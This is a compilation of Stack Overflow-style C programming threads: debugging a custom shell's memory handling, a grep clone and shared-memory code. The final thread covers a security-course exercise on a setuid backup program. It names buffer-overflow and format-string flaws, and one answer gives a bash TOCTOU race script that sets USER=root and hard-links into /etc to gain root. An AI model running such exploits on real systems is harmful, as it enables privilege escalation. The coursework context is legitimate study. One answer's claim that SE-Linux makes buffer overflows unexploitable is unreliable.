Writing my own shell in c - free() causing problems - c

I'm trying to write my own shell, but something is not working with the allocations and free. I reviewed my code over and over, and I cannot understand why my free function is causing me problems... When I don't use it, everything works fine, but when I use it, the code stops working after the second iteration...
I would really appreciate your help...
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <limits.h> //for PATH_MAX - longest path name permited in linux
#include <sys/wait.h>
#include <fcntl.h>
typedef struct{
char **parametersArray; //this array contains the command and the parameters
int size_of_array; //the number of strings in the array
int toFileFlag; //if we wnat to write to file
char *toFile; //name of file to write to
int fromFileFlag;//if we wnat to read from file
char *fromFile; //name of file to read to
}UserInput;
int runInBackground = 0; //is command running in background? if so, runInBackground=1;
//********************************************************************************************************************
//functions list:
UserInput* inputTokenization(char *a); //recieve string of the user input, and returns pointer to struct of UserInput.
void execCommand(UserInput *user_input); //exec the requestd command with the parameters given
void free_All_Allocations(UserInput *userinput);
//*******************************************************************************************************************
int main(int argc, char *argv[])
{
char userInputTxt[LINE_MAX]; //the line the user enters (hopefully command+parameters)
UserInput *u_i;
int i = 0;
while(1)
{
i = 0;
printf("\033[1;35m"); //print in with color (purple)
printf("### "); //### is the prompt I chose
fflush(stdout);
memset(userInputTxt, 0, LINE_MAX); //cleaning array from previous iteration
read(0, userInputTxt, LINE_MAX);
if(strcmp(userInputTxt, "exit\n") == 0) //exit the program if the user enters "exit"
exit(EXIT_SUCCESS);
u_i = inputTokenization(userInputTxt); //parsing the char array userInputTxt
execCommand(u_i);
free_All_Allocations(u_i);
}
}
UserInput* inputTokenization(char *a)
{
int i=0, size;
size = strlen(a);
UserInput *user_input = (UserInput*)malloc(sizeof(UserInput)*1);
if(user_input == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
user_input->fromFileFlag = 0;
user_input->toFileFlag = 0;
user_input->size_of_array = 2;
//counting how many token we have
while(i<size)
{
if(a[i] == ' ')
(user_input->size_of_array)++;
if (a[i] != '<' || a[i] != '>' )
break;
i++;
}
printf("%d\n", user_input->size_of_array);
//we don't want to change original array(a), so we'll copy a to tmp and use tmp
char *tmp = (char*)malloc(size+1);
if(tmp == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strncpy(tmp, a, size-1);
//we'll allocate array of arrays. It's size: number of tokens in the original array, even though we might not use all of it-
//some tokens might be name of file to read or write to
user_input->parametersArray = (char**)malloc(user_input->size_of_array);
if(user_input->parametersArray == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
i=0;
char* token = strtok(tmp, " ");
user_input->parametersArray[i] = (char*)malloc(strlen(token)+1);
if(user_input->parametersArray[i] == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->parametersArray[i], token);
i++;
while(token != NULL)
{
token = strtok(NULL, " ");
if(token !=NULL)
{
if(strcmp(token, "<") != 0 && strcmp(token, ">") !=0 && strcmp(token, "&") != 0)
{
user_input->parametersArray[i] = (char*)malloc(strlen(token)+1);
if(user_input->parametersArray[i] == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->parametersArray[i], token);
i++;
continue;
}
if(strcmp(token, "<") == 0)
{
user_input->fromFileFlag = 1;
token = strtok(NULL, " ");
if(token !=NULL)
{
user_input->fromFile = (char*)malloc(strlen(token)+1);
if(user_input->fromFile == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->fromFile, token);
}
}
if(strcmp(token, ">") == 0)
{
user_input->toFileFlag = 1;
token = strtok(NULL, " ");
if(token != NULL)
{
user_input->toFile = (char*)malloc(strlen(token)+1);
if(user_input->toFile == NULL)
{
perror("failed to allocate memory");
exit(EXIT_FAILURE);
}
strcpy(user_input->toFile, token);
}
}
if(strcmp(token, "&") == 0)
{
runInBackground = 1;
break;
}
}
}
user_input->parametersArray[i] = NULL;
free(tmp);
return user_input;
}
void execCommand(UserInput *user_input)
{
pid_t pid;
int status;
pid = fork();
if(pid == -1) //fork failed
{
perror("fork() failed");
exit(EXIT_FAILURE);
}
if(pid == 0) //child process
{
if(user_input->fromFileFlag == 1) //if we have file to read from
{
close(0);
if(open(user_input->fromFile, O_RDONLY) == -1)
{
perror("open file to read failed");
exit(EXIT_FAILURE);
}
}
if(user_input->toFileFlag == 1) //if we have file to write to
{
close(1);
if(open(user_input->toFile, O_WRONLY | O_CREAT, 0766) == -1)
{
perror("open file to write failed");
exit(EXIT_FAILURE);
}
}
if(execvp(user_input->parametersArray[0], user_input->parametersArray) == -1)
{
perror("execvp() failed");
exit(EXIT_FAILURE);
}
}
if(runInBackground == 0) //as long as this is the only command to execute,
waitpid(pid, &status, 0); //wait until chile process (execvp) finish. Otherwise, father process go again, and chile process run in background
}
void free_All_Allocations(UserInput *userinput)
{
int i=0;
while(userinput->parametersArray[i] != NULL)
{
free(userinput->parametersArray[i]);
i++;
}
free(userinput->parametersArray);
if(userinput->fromFileFlag == 1)
free(userinput->fromFile);
if(userinput->toFileFlag == 1)
free(userinput->toFile);
free(userinput);
}

I recommend the use of valgrind.
Compile with your code with the flag -ggdb3 and then execute valgrind with your program. It'll show you all the invalid reads and writes during the execution of the program. Not only that, it'll tell you exactly in what line they happen and the corresponding function call trace.
This question is a great starting point if you're a beginner to valgrind.

One problem is that your "counting how many token we have" is wrong. It will exit on the first iteration, because the condition a[i] != '<' || a[i] != '>' will always be true. I think the comparison you want is a[i] == '<' || a[i] == '>', which will exit the loop if either of those characters is found. This will result in user_input->size_of_array being 2 (or 3, if the first character in a is a space). Later, when you actually pull tokens from the string, you write past allocated memory if there are more than two (or possibly three) tokens.
This counting loop itself is flawed, because it counts differently than the loop that actually extracts the tokens. (For example, if a token is "a>b", your counter would stop but the tokenizer loop would treat that as a token and keep going.) It would be better to use the same sort of loop to count the token, using strtok, or better yet use a way to dynamically resize your parameters array so you only need to make one pass and don't need to count. With either loop, multiple adjacent spaces result in an empty token.
But that isn't all. The count being wrong isn't currently an issue because of the next problem: the allocation for user_input->parametersArray uses the wrong size. Since you want user_input->size_of_array elements, you should use
user_input->parametersArray = malloc(user_input->size_of_array * sizeof(char *));
or, to avoid problems with the proper type, you can go with
user_input->parametersArray = malloc(user_input->size_of_array * sizeof(*user_input->parametersArray));
Note that I have removed the cast of the return value from malloc. It is not necessary in C, and can lead to subtle problems if the type used in the cast is not the correct one.
Another problem is the call to strncpy. Since the length of the string is size, the terminating nul character will not be copied. Since you now the buffer is big enough, you should just use strcpy (or strcpy_s if your compiler is new enough to support it).

Related

Possible errors when reading larger lines

I noticed a problem with the next line while ((read = getline(&line, &len, fp)) != -1) {: I may get errors if the lines read are too large. Should I read MAXLINE pieces? I think it's a problem if I break the original line into pieces. It is possible to "cut" the fixed line in the middle of the word I am looking for.
For example, if you break the car for sale (you are looking for ) in car fo and r sale. I will not find for in either of the two pieces. Maybe a solution would be for each part read, to read extra len (search_word) characters (without changing the original place where the next piece would have started). Basically I read more r s in the first part, but it guarantees that I will find for
How can I handle possible errors?
The following program is based on the implementation of grep from linux, doing a search for several words
program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv)
{
if (argc < 3)
{
printf("Usages:\n1: ./grep.o <word> <file>\n2: ./grep.o -e <word> [-e "
"<word>...] <file>\n");
return 1;
}
else
{
FILE *fp;
char *line = NULL;
size_t len = 0;
ssize_t read;
int i;
fp = fopen(argv[argc - 1], "r");
if (fp == NULL)
{
printf("File doesn't exist or cannot be read!\n");
return 1;
}
if (argc == 3)
{
while ((read = getline(&line, &len, fp)) != -1)
{
if (strstr(line, argv[1]) != NULL)
printf("%s", line);
}
}
else
{
for (i = 1; i < argc - 2; i += 2)
{
if (strcmp(argv[i], "-e") != 0)
{
printf("The option must be \"-e\"!\n");
fclose(fp);
return 1;
}
}
if (i + 1 == argc - 1)
{
if (strcmp(argv[i], "-e") != 0)
{
printf("The option must be \"-e\"!\n");
}
else
{
printf("The option must have a word after it!\n");
}
fclose(fp);
return 1;
}
while ((read = getline(&line, &len, fp)) != -1)
{
for (i = 1; i < argc - 2; i += 2)
{
if (strstr(line, argv[i + 1]) != NULL)
{
printf("%s", line);
break;
}
}
}
fclose(fp);
if (line)
free(line);
}
return 0;
}
}
The problem you describe is not present in your code precisely because you use getline() instead of fgets(). getline() reallocates the line pointer and len as required to read a full line. The only limitation is memory, which is unlikely to pose a problem on current systems.
Note however that you should close the file and free line outside of the else branch to avoid a memory leak.

Segmentation error that is still unresolved in C(Linux)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <libio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/shm.h>
#include <ctype.h>
int main(int argc, char** argv) {
int shmID;
char* shmptr, *array, *filearray;
FILE* infile = fopen(argv[1], "r");
if (!infile) {
printf("No file exists\n");
}
int length = 0;
char ch;
ch = getc(infile);
while ((ch = getc(infile)) != EOF) {
filearray[length] = ch;
length++;
}
length++;
fclose(infile);
shmID = shmget(IPC_PRIVATE, length, IPC_CREAT | 0666);
if (shmID < 0) {
printf("There is an error while creating memory \n");
}
int pid = fork();
if (pid > 0) {
shmptr = shmat(shmID, NULL, 0);
if (shmptr == (char * ) - 1) {
printf("There is an error while attaching memory \n");
}
int j = 0;
while ( * array != '!') {
if (array[j] >= 'A' && array[j] <= 'Z') {
array[j] = tolower(array[j]);
} else if (array[j] >= 'a' && array[j] <= 'z') {
array[j] = toupper(array[j]);
} else if (array[j] >= '0' && array[j] <= '9') {
j--;
}
j++;
}
* shmptr = '#';
shmdt(shmptr);
shmctl(shmID, IPC_RMID, NULL);
} else if (pid == 0) {
shmptr = shmat(shmID, NULL, 0);
if (shmptr == (char * ) - 1) {
printf("There is an error while attaching memory \n");
}
array = shmptr;
int x;
for (x = 0; x <= length; x++) {
* array = filearray[x];
array++;
}
* array = '!';
while ( * shmptr != '#') {
sleep(1);
}
int k = 0;
//here we restore the values back into file
while (*array != '!') {
printf("%c", array[k]);
k++;
}
shmdt(shmptr);
} else if (pid < 0) {
printf("Error\n");
}
return 0;
}
This is the code. What I intend to do is take the data from the file and input it into an array. We do this so that we have a temporary data point to store into. I then apply the appropriate checks to see if there is an error while creating the shared memory or the fork command.
After this we enter the child where we intend to
Attach memory
Check error for 1.
Get the array(tried with another char array poiinter but still ran into problems) pointed at shmptr which should initially hold NULL at first but with a length of L(number of characters in file)
Copy the values from the file array into the array(acts as a moving head similar to in a link list) and then attach as a final block a ! to tell the parent the array is over.
Use a # as a char to be added to array so we can know waiting period is over.
In he parent:
Attach memory
Get array
Upper,lower case and check if value is an integer(remove integer by j-- goes back 1 location, then j++ moves back to same location)
attach a # at the end.
As child was rerun it saw this # and should print the array
Hope I was clear. Thank you for the help.
Several problems with your code:
You check if the file open worked, but then you proceed still with the NULL pointer in such a case.
It should be:
FILE *infile = fopen(argv[1], "r");
if(!infile)
{
printf("No file exists\n");
return 1;
}
Pointers are not initialized but you already access them, which invokes undefined behavior.
You need to initialize these pointers before you access them.
char *shmptr;
char *array;
char *filearray;
You can determine the filesize like this:
fseek(infile, 0L, SEEK_END);
length = ftell(infile);
fseek(infile, 0L, SEEK_SET);
Now you can allocate the memory for the file and read it in one go, instead of that loop:
filearray = malloc(length);
if (!filearray)
{
// error
return 1;
}
if(fread(filearray, length, 1, infile) != 1)
{
// error
return 1;
}
As said above you access uninitialized pointers you do this also for array but fro your example it is not clear where this comes from, so you have to allocate memory for it, and initialize it, before you read it.

Is there a way to get back to while loop after fgets returns null? [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 2 years ago.
Improve this question
so, I have somethings like this, im creating my own shell and im trying to use fgets in order to read the commands passed from terminal, the thing is that when i press enter, so a blank space, i get a segmentation fault, i think it's due to the fact that im using fgets to read the line, so when pressed enter in blank it returns null and crash. I want to be able to press enter and get back the terminal line, is there a way of doing so with fgets?
My code looks like this:
int main(){ /* shell loop */
char command[COMMAND_BUFFER_SIZE];
char *tokens[TOKEN_BUFFER_SIZE];
int token_Size = 0;
int pid;
int child_pid;
int status;
int flag;
int check;
int isPipe;
int output;
int input;
signal(SIGINT, SIG_IGN);
while (1)
{
using_history();
customPrompt();
token_Size = 0;
if (fgets(command, COMMAND_BUFFER_SIZE, stdin) == NULL)
continue;
token_Size = parse(command, tokens, token_Size);
if (token_Size == 0)
{
continue;
}
if (strcmp(tokens[0], "exit") == 0)
{
exit(1);
}
if (strcmp(tokens[0], "cd") == 0)
{
if ((check = chdir(tokens[1])) == -1)
{
perror("");
}
continue;
}
if ((child_pid = fork()) == -1)
{
perror("Fork:");
exit(1);
}
if (child_pid == 0)
{
output = needs_out_redir(tokens, token_Size);
input = needs_in_redir(tokens, token_Size);
isPipe = needs_pipe(tokens, token_Size);
flag = 0;
if (output != -1)
{
redirect_output(tokens, output);
tokens[output] = NULL;
flag = 1;
}
if (input != -1)
{
redirect_input(tokens, input);
tokens[input] = NULL;
flag = 1;
}
if (isPipe != -1)
{
create_pipe(tokens, output, input, isPipe);
}
if (flag || isPipe == -1)
{
execvp(tokens[0], tokens);
perror("Unkown Command:");
exit(1);
}
}
else
{
pid = wait(&status);
}
}
return 0;
}
static int parse(char *input, char *args[], int size){
int i = 0;
input[strlen(input) - 1] = '\0';
args[i] = strtok(input, " ");
if (!args[i])
{ // No tokens found
return 0;
}
while (args[++i] = strtok(NULL, " "))
{
size++;
}
return size;
}
Could anyone please give me a hand?
To make my self clearer:
ivo#ivo-Surface-Pro-6:/home/ivo/Documents/SO1$
this is displayed, and after i press enter with no command in
Segmentation fault (core dumped)
thats what i get, i want to get back the first line.
The parse function I’m using to read line is above
--After some I managed to fix the seg fault issue, but now I cant get the shell to recognize any of the other commands, "cd .." does, but commands like "pwd" doesnt, "exit" either, and if I type any other thing like "asd" it prints again the custom prompt
Example
The first line of parse:
input[strlen(input)-1] = '\0';
will crash when strlen(input) is 0, since it writes to input[-1]. Check for a 0 length string before calling parse.
The problem isn't with fgets(). Your parse() function isn't prepared for an empty line. It should check if the first strtok() returns NULL, and exit immediately.
static int parse( char* input, char* args[],int size){
int i = 0;
input[strlen(input)-1] = '\0';
args[i] = strtok( input, " " );
if (!args[i]) { // No tokens found
return 0;
}
while( args[++i] = strtok(NULL, " ") ){
size++;
}
return size;
}
Then in main() you need to check that token_Size is not 0 before processing the parsed line.
token_Size = parse(command, tokens, token_Size);
if (token_Size == 0) {
continue;
}
However, you should also check the result of fgets(). Replace the line that calls fgets() with this:
if (!fgets(command, COMMAND_BUFFER_SIZE, stdin)) {
break;
}
Add the check if fgets was successful or its size is zero.
if(!fgets(command, COMMAND_BUFFER_SIZE, stdin) || !command[0])
continue;

C Language- freeing memory after using strtok to build char**

and sorry for the title I couldn't think of a better way to phrase it.
so I have a C assignment working with fork and exec.
I have three programs called ps, echo and history all of them take different arguments. The final program is called shell and it takes in commands from stdin and calls for exec upon taking a proper command.
example:
ps -a
echo Hello World
history 1.txt
once it reads a line and find it's a valid command it makes a child process and calls for exec.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
const int MAX_LINE = 100;
const char *HISTORY = "./history";
const char *PS = "./ps";
const char *ECHO = "./echo";
void call_cmd(int cmd, char *const argv[]);
/* main function */
int main(int argc, char** argv)
{
FILE * out;
char line[MAX_LINE], line_print[MAX_LINE], seps[] = " \n", rm[80];
char *first, *tmp, ** params;
pid_t pid;
int cmd = -1, i = 0,j= 0;
if (argc != 2)
{
printf("Invalid arguments");
return EXIT_FAILURE;
}
out = fopen(argv[1],"w");
if (out == NULL)
{
perror("Couldn't open file to write");
return EXIT_FAILURE;
}
while(fgets(line,sizeof(line),stdin) != NULL)
{
strcpy(line_print,line);
params = (char**) malloc(sizeof(char*));
tmp = strtok(line,seps);
while (tmp != NULL)
{
if(i != 0)
params = (char**) realloc(params,sizeof(char*) * (i + 1));
params[i] = tmp;
j++;
tmp = strtok(NULL,seps);
i++;
}
first = params[0];
if (strcmp("exit",first) == 0)
{
sprintf(rm,"rm %s",argv[1]);
system(rm);
exit(0);
}
if(strcmp("echo",first) == 0)
cmd = 0;
if(strcmp("history",first) == 0)
cmd = 1;
if(strcmp("ps",first) == 0)
cmd = 2;
if(cmd == -1){
perror("\nInvalid Command\n");
}
if(cmd >= 0)
{
fprintf(out,"%s",line_print);
pid = fork();
if (pid == -1)
{
perror("Error Creating Child");
return EXIT_FAILURE;
}
if(pid == 0)
{
call_cmd(cmd,params);
exit(0);
}
}
for (i = 0; i < j ; i++)
free(params[i]);
free(params);
i = j = 0;
cmd = -1;
}
fclose(out);
return EXIT_SUCCESS;
}
void call_cmd(int cmd, char *const argv[])
{
switch(cmd)
{
case 0:
execv(ECHO, argv);
break;
case 1:
execv(HISTORY, argv);
break;
default:
execv(PS, argv);
break;
}
}
that is my code so far, it behaves in a weird way causing segmentation faults,
I'm pretty sure it's because of the way I split the parameters and free them.
example output:
*** Error in `./shell': double free or corruption (out): 0x00007ffe58f1a630 ***
Parent Id: 1928
Aborted (core dumped)
so I keep editing the for loop
for (i = 0; i < j ; i++)
free(params[i]);
all that does is just jump from double free to segmentation faults or I write a command like ps or history and it does nothing, so I must be doing something but I'm truly lost been trying to fix it for two days with, so if you see what I did wrong please point it out.
Thank you.
strtok parses a string in-place so you should not free the individual results. They are portions of the original string. You can use the POSIX function strdup to make copies that can be free'd, and will persist beyond the life of the original buffer contents.
You should add
params[0] = NULL;
right after the initial malloc (or use calloc) otherwise you'll be using an unitialized pointer if the line is empty. Then at the end
free(params);
you don't need to free any of params[i] since those are pointers into the local line[] buffer.

Exploit a backup program using C

I'm doing an assignment of a security course that asks me to find 4 vulnerabilities of a backup program (setuid) and use each of them to gain root access (on a virtual linux machine with old version of gcc etc.).
There should be one of buffer overflow and one of format string.
Could anyone help me to point out where the 4 vulnerabilities are?
I think the buffer overflow can happened in copyFile().
The following is the code for backup.c: (which can be invoked in "backup backup foo" or "backup restore foo")
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#define CMD_BACKUP 0
#define CMD_RESTORE 1
#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"
static
int copyFile(char* src, char* dst)
{
char buffer[3072]; /* 3K ought to be enough for anyone*/
unsigned int i, len;
FILE *source, *dest;
int c;
source = fopen(src, "r");
if (source == NULL) {
fprintf(stderr, "Failed to open source file\n");
return -1;
}
i = 0;
c = fgetc(source);
while (c != EOF) {
buffer[i] = (unsigned char) c;
c = fgetc(source);
i++;
}
len = i;
fclose(source);
dest = fopen(dst, "w");
if (dest == NULL) {
fprintf(stderr, "Failed to open destination file\n");
return -1;
}
for(i = 0; i < len; i++)
fputc(buffer[i], dest);
fclose(dest);
return 0;
}
static
int restorePermissions(char* target)
{
pid_t pid;
int status;
char *user, *userid, *ptr;
FILE *file;
char buffer[64];
mode_t mode;
// execute "chown" to assign file ownership to user
pid = fork();
// error
if (pid < 0) {
fprintf(stderr, "Fork failed\n");
return -1;
}
// parent
if (pid > 0) {
waitpid(pid, &status, 0);
if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
return -1;
}
else {
// child
// retrieve username
user = getenv("USER");
// retrieve corresponding userid
file = fopen("/etc/passwd", "r");
if (file == NULL) {
fprintf(stderr, "Failed to open password file\n");
return -1;
}
userid = NULL;
while (!feof(file)) {
if (fgets(buffer, sizeof(buffer), file) != NULL) {
ptr = strtok(buffer, ":");
if (strcmp(ptr, user) == 0) {
strtok(NULL, ":"); // password
userid = strtok(NULL, ":"); // userid
ptr = strtok(NULL, ":"); // group
*ptr = '\0';
break;
}
}
}
if (userid != NULL)
execlp("/bin/chown", "/bin/chown", userid, target, NULL);
// reached only in case of error
return -1;
}
mode = S_IRUSR | S_IWUSR | S_IEXEC;
chmod(target, mode);
return 0;
}
static
void usage(char* parameter)
{
char newline = '\n';
char output[96];
char buffer[96];
snprintf(buffer, sizeof(buffer),
"Usage: %.60s backup|restore pathname%c", parameter, newline);
sprintf(output, buffer);
printf(output);
}
int main(int argc, char* argv[])
{
int cmd;
char *path, *ptr;
char *forbidden = FORBIDDEN_DIRECTORY;
char *src, *dst, *buffer;
struct stat buf;
if (argc != 3) {
usage(argv[0]);
return 1;
}
if (strcmp("backup", argv[1]) == 0) {
cmd = CMD_BACKUP;
}
else if (strcmp("restore", argv[1]) == 0) {
cmd = CMD_RESTORE;
} else {
usage(argv[0]);
return 1;
}
path = argv[2];
// prevent access to forbidden directory
ptr = realpath(path, NULL);
if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
fprintf(stderr, "Not allowed to access target/source %s\n", path);
return 1;
}
// set up paths for copy operation
buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
if (buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return 1;
}
if (cmd == CMD_BACKUP) {
src = path;
dst = buffer;
strcpy(dst, BACKUP_DIRECTORY);
strcat(dst, "/");
strcat(dst, path);
}
else {
src = buffer;
strcpy(src, BACKUP_DIRECTORY);
strcat(src, "/");
strcat(src, path);
dst = path;
// don't overwrite existing file if we don't own it
if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
fprintf(stderr, "Not your file: %s\n", dst);
return 1;
}
}
// perform actual backup/restore operation
if (copyFile(src, dst) < 0)
return 1;
// grant user access to restored file
if (cmd == CMD_RESTORE) {
if (restorePermissions(path) < 0)
return 1;
}
return 0;
}
And something useful:
// one way to invoke backup
//system("/usr/local/bin/backup backup foo");
// another way
args[0] = TARGET; args[1] = "backup";
args[2] = "foo"; args[3] = NULL;
env[0] = NULL;
if (execve(TARGET, args, env) < 0)
fprintf(stderr, "execve failed.\n");
exit(0);
I am not a security expert, but the comment here
char buffer[3072]; /* 3K ought to be enough for anyone*/
is telling :-) So as you have guessed, there is a possibility for buffer overflow here. The buffer is in fact used to read the contents of the input file in. So try it with a file longer than 3K.
Now, since buffer is local, it is allocated on the stack. Thus by overflowing, you can overwrite the contents of the stack, including the return address and local variables within the caller stack frame. This is the theory as far as I know, I can't give you any more practical details though.
The format vulnerability is in usage() - with the sprintf() and printf() taking format strings that are generated from argv[0], which an attacker can manipulate to contain whatever they want.
The main buffer overflow is the one highlighted by Péter Török; when scanning code for security vulnerabilities, any unchecked buffer filling with blatant comments like that is a signpost asking for trouble.
The environment variable USER is used - it could be manipulated by the unscrupulous, but it is debatable whether it would really buy you anything. You could set it to say 'root', and the attempted 'chown' command would user the name it was told to use.
There's a race of sorts between the chown command and the chmod() system call. It isn't immediately clear how you'd exploit that separately from the other issues - but it might give you something to leverage.
Including <sys/types.h> twice is redundant but otherwise harmless. With POSIX 2008, it isn't even needed in most places at all.
You can't exploit buffer-overflows on Linux anymore, since SE-Linux prevents malicious or accidental unintended code execution by aborting the program in question, and by Wand-addresss randomization.
You need to switch off those programms first, but that requires root access in the first place.
Inspired by vulnerability 4 on Jonathan Leffler's answer, here is an exploit for a TOCTOU (race condition in the interval from Time Of Check to Time of Update of a file) between the realpath() check and fopen()
trap 'rm -f my_passwd; kill -TERM 0' INT
function p1()
{
while [[ 1 ]]
do
nice -20 ./backup restore my_passwd
ls -l /etc/passwd /etc/my_passwd my_passwd
done
}
function p2()
{
while [[ 1 ]]
do
rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
done
}
export USER=root
p1 & p2
Anyway, setting your UMASK to 000 should allow similar exploitation for the chmod() issue.
Also think about whether a string comparison is enough to lock out the forbidden directory. Answer: No, in at least two ways I can think of.

Resources